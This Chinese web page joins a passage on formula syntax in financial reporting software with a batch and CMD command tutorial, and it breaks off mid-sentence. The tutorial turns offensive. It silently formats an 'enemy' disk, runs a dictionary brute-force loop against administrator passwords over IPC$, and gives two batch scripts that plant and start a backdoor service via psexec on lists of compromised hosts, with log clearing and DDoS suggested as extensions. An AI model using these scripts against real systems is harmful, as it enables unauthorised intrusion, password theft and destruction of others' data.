④可变区公式。在命令窗或批命令中,令当前可变表 C1>0的表页V_D的值等于表“Y”第1页中V_H的值与表“X” 第2页中V_L的值之和:LET V_D =“Y”→V_H@l+“X”→V_L@2 FOR C1>0。
(2)用关联条件从他表取数。
当从他表取数时,已知条件并不是页号,而是希望按照年、月、日等关键字的.对应关系来取他表数据,就必须用到关联条件。表页关联条件的意义是建立本表与他表之间以关键字或某个单元为联系的默契关系。从他表取数的关联条件的格式为:
RELATION <单元|关键字|变量|常量>WITH“<他表表名>”→<单元|关键字|变量|常量>
具体用法我们以例子说明。例如:A1=“FYB”→A1 FOR ALL RELATION月WITH“FYB”→月,意义为取FYB表的,与当前表页月相同月的A1单元的值。如果当前表页为9月,则取FYB表9月表页A1的值;A=“LRB”→BRELATION月 WITH “LRB” →月十1,意义为令本表各页A列取表“LRB”上月各页 B列数值;A=“LRB”→A RELATION年 WITH“LRB”→年,月WITH“LRB”→月+l, 意义为令当前表各项A列取表“LRB” 同年上月A列数值;A=“LRB”→B FOR ALL RELATlON 1 WITH “LRB”→月,令当前表各页A列取表“LRB”1月B列数值;A=“LRB”→B+“ZJB”→C RELATION年 WITH“LRB”→年,月WITH“LRB”→月,年WITH“ZJB”→年,月WITH“ZJB”→月,令当前表各页A列取表“LRB” 同年上月表页B列数值及表“ZJB”上一年相同月份表页C列数值之和。
财务软件之计算公式的编辑:
1.单元公式方式
单元公式方式在格式设计状态中定义,存储在报表单元中,切换到数据处理状态时,单元公式将自动进行运算,也可以随时使用菜单【数据】中的【整表重算】命令驱动报表中所有单元公式进行重算。
不需再计算时,可以点取屏幕上方的【不计算】按钮,本表页以后不再重算。要重新计算,再次点取【不计算】按钮即可。当本表单元公式中涉及到其他表或其他系统数据时,必须“整表重算”后才能更新数据。
2.命令行方式
在数据处理状态下,选择【文件】菜单中的【命令窗】,在报表工作区下面就会显示命令窗窗口,在命令窗中一条一条书写要执行的命令,按回车立即计算。
与定义单元公式不同的是,在命令宣中书写的命令应以LET语句开头。如定义 C6单元为 C4和 C5单元之和,应键人:LET C6=C4+C5。
3.批处理方式
在数据处理状态下,选择【文件】菜单下的【二次开发】,选择文件类型为批处理 (SHL文件),在二次开发窗口中一次性编辑所要执行的命令,保存时,可以由用户自己定义文件名,最后选择【文件】菜单中的【执行】,即可完成批量计算。
计算公式在命令窗和批命令中的格式特点是;以LET引导计算公式;一个计算公式可以为若干个筛选条件、关联条件相同的区域赋值,各赋值表达式间以逗号“,”分隔。
在可变区中不能定义单元公式,要计算可变区的内容,可以在命令窗或批命令中定义可变区公式。例如:LET V-C=(V-A)×(V-B)。
;❽ 关于批处理命令
1.可以将文件名加上引号""如: c:\windows\notepad.exe c:\"System Volume Information"或者使用dos的8.3文件命名格式,System~1
2.进入文件夹,敲命令d:&&cd d:\新建文件夹
❾ 跪求批处理命令大全和CMD命令大全。
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample篅echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 z 或
Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传